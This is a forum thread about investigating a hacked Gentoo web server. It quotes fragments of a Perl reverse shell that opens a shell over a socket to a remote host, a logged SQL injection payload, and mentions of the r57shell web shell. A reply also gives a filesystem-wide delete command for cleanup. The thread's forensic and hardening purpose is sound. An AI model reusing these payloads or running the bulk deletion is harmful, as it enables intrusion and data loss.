# Weird files in /tmp, I might have been hacked

## SweepingOar

Today I was looking through /tmp and came across two troubling looking files:

```
$ ls -la

total 8780

-rw-r--r--  1 apache apache     541 Jan 23 03:15 back

-rwxr-xr-x  1 apache apache    8134 Jan 23 03:12 pwned*

```

Looking at the "pwned" file gives this:

```
# more /tmp/pwned 

******** /tmp/pwned: Not a text file ********

```

Looking at "back" tells me that it's probably a perl script. It's less than 20 lines long. I think this file is pretty easy to find out there on the web, but I still don't want to post all of it here. It's got lines like these:

```
...

$cmd= "lynx";

$system= 'echo "`uname -a`";echo "`id`";/bin/sh';

...

$proto=getprotobyname('tcp');

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");

connect(SOCKET, $paddr) || die("Error: $!\n");

open(STDIN, ">&SOCKET");

open(STDOUT, ">&SOCKET");

open(STDERR, ">&SOCKET");

system($system);

...
```

I believe I'm running 2.6.24-gentoo-r8 and have 2.6.25-gentoo-r7 installed as well, but not yet live.

I don't really know where to look to see if anyone has gotten access or not. My machine is/was afaik pretty well locked down. ssh.conf only allows connections from my remote machine. I can't say if it was me that opened up 25, 110, 143. I have no idea what 1666 is either:

```
nmap localhost

Starting Nmap 4.76 ( http://nmap.org ) at 2009-02-04 15:55 PST

Interesting ports on (127.0.0.1):

Not shown: 992 closed ports

PORT     STATE SERVICE

25/tcp   open  smtp

80/tcp   open  http

110/tcp  open  pop3

143/tcp  open  imap

443/tcp  open  https

783/tcp  open  spamassassin

1666/tcp open  netview-aix-6

####/tcp open  unknown (this is my "hidden" ssh port)
```

Any advice on where to start looking for issues? I don't really even know how to check the log files to see if/when anyone logged in besides me. Thanks.

----------

## Hu

You have port 80 listening, and the files are owned by apache.  I would start with your web site.  Focus on any executable content, such as PHP or CGI.

----------

## SweepingOar

Thanks. Yeah, I figured it was something done through an installed script or something (we do have phpbb running along with probably several other publicly available scripts). My question is this...what should I do? Did this do something to break my server/give someone else access to files they shouldn't or was the damage limited to them being able to get two files written into /tmp? I see nothing in root's bash history that looks odd, but that obviously isn't much.

----------

## SweepingOar

I went through the log files for the 23rd (the day of the time stamp on the two files) and found this in /var/log/messages. Not sure it's related, but here it is:

```
Jan 23 03:00:21 pally 26241: vm86 mode not supported on 64 bit kernel

Jan 23 03:01:01 pally cron[29348]: (root) CMD (rm -f /var/spool/cron/lastrun/cron.daily)

Jan 23 03:03:32 pally hard: vm86 mode not supported on 64 bit kernel

Jan 23 03:10:01 pally cron[30649]: (root) CMD (test -x /usr/sbin/run-crons && /usr/sbin/run-crons )

Jan 23 03:10:07 pally syslog-ng[3941]: Log statistics; processed='center(queued)=1868', processed='center(receive

d)=934', processed='destination(messages)=934', processed='destination(console_all)=934', processed='source(src)=

934'

Jan 23 03:13:27 pally x2[31406]: segfault at 0 rip f7e8f003 rsp fff18c2c error 4

```

This is right before the time stamp of the files I mentioned above.

----------

## Hu

The attacker was executing programs on your server.  Most likely, they were programs he supplied, since I doubt you would have such oddly named processes installed and using vm86 as part of your normal operations.  Best practices say to assume that since the attacker was executing arbitrary code on the system, he could do anything that your web server user could do.  Depending on your kernel, it is possible that the attacker was able to perform a privilege escalation exploit and give himself root privileges.  If I were in your situation, I would bring that server down, take a snapshot for forensic purposes, and reimage the entire disk from known good backups.  Keep no executable content from the current installation.  Inspect every configuration file that you preserve from the current installation, if any.

You probably have a vulnerable version of some PHP script installed.

----------

## SweepingOar

Ok, looking through the web logs some more on a different site, I found someone passing the following sql injection into one of the php scripts that expects an integer:

```
script.php?id=32+AND+1=2+UNION+SELECT+0,concat(0x1e,0x1e,table_schema,0x1e,table_name,0x1e,column_name,0x1e,0x20),

2,3,4,5,6,7,8+FROM+information_schema.columns++WHERE+table_schema!=0x696e666f726d6174696f6e5f736368656d61+LIMIT+1496,

1-- HTTP/1.1" 200 4579 "-" "Python-urllib/2.5"
```

There were hundreds of them starting 15 minutes or so before 03:00 that day and they continued for about a half an hour. Following what they seemed to be doing I found a file that was created that day in the directory that the script uses. The file is a "hacked" banner html page with the hacker's handle on it.

I patched the script so nothing but integers will be accepted.

Then, far more troubling was finding the hacking script "r57shell.php 1.40" in a different directory. That script will allow a user to navigate the server and execute commands, copy/download files and if they have passwords (which they could easily get by looking at config files), dump the database. It was run from many different ip addresses. Luckily the file was owned by apache and seemed to only allow the script to navigate to that sites top directory level. I'm not sure about that though. I guess I'd better to a clean install on a different machine and keep an eye on things for a while.

Mod edit: Split long line to fix layout. --timeBandit

----------

## ZeuZ_NG

I would do as they say, keep an image for forensic analysis so that you can check where it happen and what was the faulty part of your webapp...

Also, I think you might want to reviews if the kernel is not rootkited, if he's gotten access, and even got to hit some higher priviledges, then he could allready have jeopardayzed your system from ground zero...

----------

## SweepingOar

I ran rootkitchk and it didn't find anything, but that's no guarantee obviously. I guess I know how I'm spending the day tomorrow.

----------

## SweepingOar

Ok, I took down the server and replaced it with an old machine with clean install of gentoo on it. Now I'm trying to investigate what happened to the hacked machine and when I start it up the text on the screen is garbled and hard to read through much of the bootup sequence. I can sort of make out some of the words but not well enough to read anything. This continues through a lot of the scrolling text and then all of a sudden at some point it becomes readable again. This doesn't seem to be a hardware problem because I can boot from the minimal install cd and the text looks fine from the beginning. Any ideas?

----------

## Hu

I have seen reports of this on normal machines.  I do not recall the cause, but it is immaterial here.  You should not be using a kernel from a compromised machine to investigate the compromised machine.  The kernel is executable content.  :Smile: 

----------

## desultory

 *SweepingOar wrote:*   

> Any ideas?

 It is probably due to a minor misconfiguration of grub, but as Hu pointed out, if the box has been compromised to an unknown extent neither the boot loader nor the kernel is to be trusted.

----------

## SweepingOar

I don't remember it happening before, but it's been months since I've actually rebooted it so I'm not positive. Is fuzzed type during boot something that an intruder will do typically?

----------

## ZeuZ_NG

 *Hu wrote:*   

> I have seen reports of this on normal machines.  I do not recall the cause, but it is immaterial here.  You should not be using a kernel from a compromised machine to investigate the compromised machine.  The kernel is executable content. 

 

Well, I don't quite get it or I got lost because I'm sleepy, records of this kind of files apprearing in normal host wich have not been compromised?

----------

## desultory

 *SweepingOar wrote:*   

> I don't remember it happening before, but it's been months since I've actually rebooted it so I'm not positive.

 That fits fairly well with when that problem would have appeared.

 *SweepingOar wrote:*   

> Is fuzzed type during boot something that an intruder will do typically?

 Only if they are just trying to get the attention of the system administrator, otherwise it would be too much effort for too little return.

 *ZeuZ_NG wrote:*   

> Well, I don't quite get it or I got lost because I'm sleepy, records of this kind of files apprearing in normal host wich have not been compromised?

 Not typically.

----------

## Hu

 *ZeuZ_NG wrote:*   

>  *Hu wrote:*   I have seen reports of this on normal machines.  I do not recall the cause, but it is immaterial here.  You should not be using a kernel from a compromised machine to investigate the compromised machine.  The kernel is executable content.  
> 
> Well, I don't quite get it or I got lost because I'm sleepy, records of this kind of files apprearing in normal host wich have not been compromised?

 

Please read the post in the context of the question it addressed.  I was responding to his problem with unreadable text during system boot.

----------

## cach0rr0

 *SweepingOar wrote:*   

> I ran rootkitchk and it didn't find anything, but that's no guarantee obviously. I guess I know how I'm spending the day tomorrow.

 

I would not trust your currently running kernel

The rootkit checking utilities IMHO are going to be largely useless if your box has been properly rooted

need to do a rebuild, do not trust that box

(this same thing happened to me a while back, which was really a wake-up call - apologies if i rant)

when you do the rebuild:

-go the hardened gentoo route, follow all requisite guides

-disable file uploads within PHP wherever you're able

-connect to your DB as a non-privileged user that ONLY has rights on that specific DB, and be selective about which rights you grant to said user

-move the session save path out of /tmp into something under /var/www, and jail apache here

-emerge aide. aide is your friend

I look at it as...own my web vhost, deface it, this is fine, just dont want an attacker getting root on the box

----------

## even

This is a reverse shell .

```
...

$cmd= "lynx";

$system= 'echo "`uname -a`";echo "`id`";/bin/sh';

...

$proto=getprotobyname('tcp');

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");

connect(SOCKET, $paddr) || die("Error: $!\n");

open(STDIN, ">&SOCKET");

open(STDOUT, ">&SOCKET");

open(STDERR, ">&SOCKET");

system($system);

...
```

----------

## SweepingOar

Thanks. I've still had no luck determining if the attacker ever got root privileges on the machine.

----------

## xbmodder

The "nice" thing with Linux is that if a machine isn't setup in a way where a heavy amount of logging/tripwires are setup, hiding a good root kit is really easy. Really, the _only_ way to be _100%_ sure you secured your system, is reinstalling. You can do stuff like run a tripwire against the CONTENTS file for each package, but again, it'll only tell you so much. Right now you should lock down apache, turn off extraneous scripts and things.[/b]

----------

## SweepingOar

I reinstalled on a different machine and have the hacked box sitting on my desk. Trying to find the time to determine what happened exactly while resisting the urge to just wipe it clean and try never to allow such a vulnerable site on the server again.

----------

## legaultp

Hi guys

i know i am late posting this but i have a suggestion to prevent this form happening again.

I usually have a ton of partition on my system with different parameters.

Here is what i usually have for /tmp and /var/tmp

i configure my partition as: noatime,noexec,nodev,nosuid

this way, i prevent a big security hole since the file can be written to but cannot be executed.

i also do the same for a few other critical location like webpage and user home directory depending on the type of server you are going to build

I am usually like this:

/dev/sda1               /boot           ext3            noauto,noatime  1 2

/dev/sda2               /               ext3            noatime         0 1

/dev/sda3               /var/tmp        ext3            noatime,noexec,nodev,nosuid 1 2

/dev/sda5               /usr            ext3            noatime         1 2

/dev/sda6               /var/log        ext3            noatime         1 2

/dev/sda7               /var/lib/mysql  ext3            noatime         1 2

/dev/sda8               /opt            ext3            noatime         1 2

/dev/sda9               /usr/portage    ext3            noatime         1 2

/dev/sda10              /tmp            ext3            noatime,noexec,nodev,nosuid 1 2

/dev/sdb1               /var/www        ext3            noatime,noexec,nodev,nosuid 1 2

/dev/sdb2               /home           ext3            noatime,noexec,nodev,nosuid 1 2

Regards

----------

## XenoTerraCide

so I just noticed. all log files have been truncated to show nothing before december 30 2008, and sylog-ng was turned off. This is my desktop/dev box. I'm debating on what I should do about it.

I haven't noticed anything else...

hsqldb:x:103:411:added by portage for hsqldb:/dev/null:/bin/sh

although is it normal for hsqldb to have a shell?

only other weird thing I've noticed is my problems with dns and /etc/hosts.

what would you do next? I'm not really up for removing my data, but I've half a mind just to wipe my install.

----------

## desultory

 *XenoTerraCide wrote:*   

> although is it normal for hsqldb to have a shell?

 It is, just check the ebuilds.

 *XenoTerraCide wrote:*   

> what would you do next? I'm not really up for removing my data, but I've half a mind just to wipe my install.

 Given that the system was seemingly compromised to the point where services were stopped and logs deleted, find the other half of that mind and do a clean reinstall.

----------

## legaultp

If you have several partitions, you could just keep your home directory and wire the remaining

there is an other solution which is a bit more complex but can be done.

this is the highlights

```

cd /

find . |grep -v -e "./home" -e "./sys" -e "./proc"  | xargs touch -a -m -d 1970-01-01

```

This will set the access time and modification time to 1970-01-01

Once this is done, do theses 2 step. update the system then, the config files:

```

emerge -uDNev world

etc-update or dispatch-conf

```

once this is done, type:

```

cd /

find -type f -mtime +3600 |grep -v -e "./home" -e "./sys" -e "./proc"  | xargs tar -caf /root/test.tar

```

this will backup the files that we will delete a bit later.

Once this is done, you can check the file list from the archive: 

```

tar -tf /root/test.tar |sort > /root/misc_files.txt

```

you can then, read the file list from there and validate if you need to keep the files there.

I would strongly recommend you to validate the files in /etc as they are usually not overwritten by updates.

the files that you want to keep, just type: 

```

touch -a -m {filename_of_the_file_you_want_to_keep}

```

once everything is correct, 

```

find -type f -mtime +3600 |grep -v -e "./home" -e "./sys" -e "./proc"  | xargs rm -f

```

This should fix your problem but i cannot guaranty it.

----------

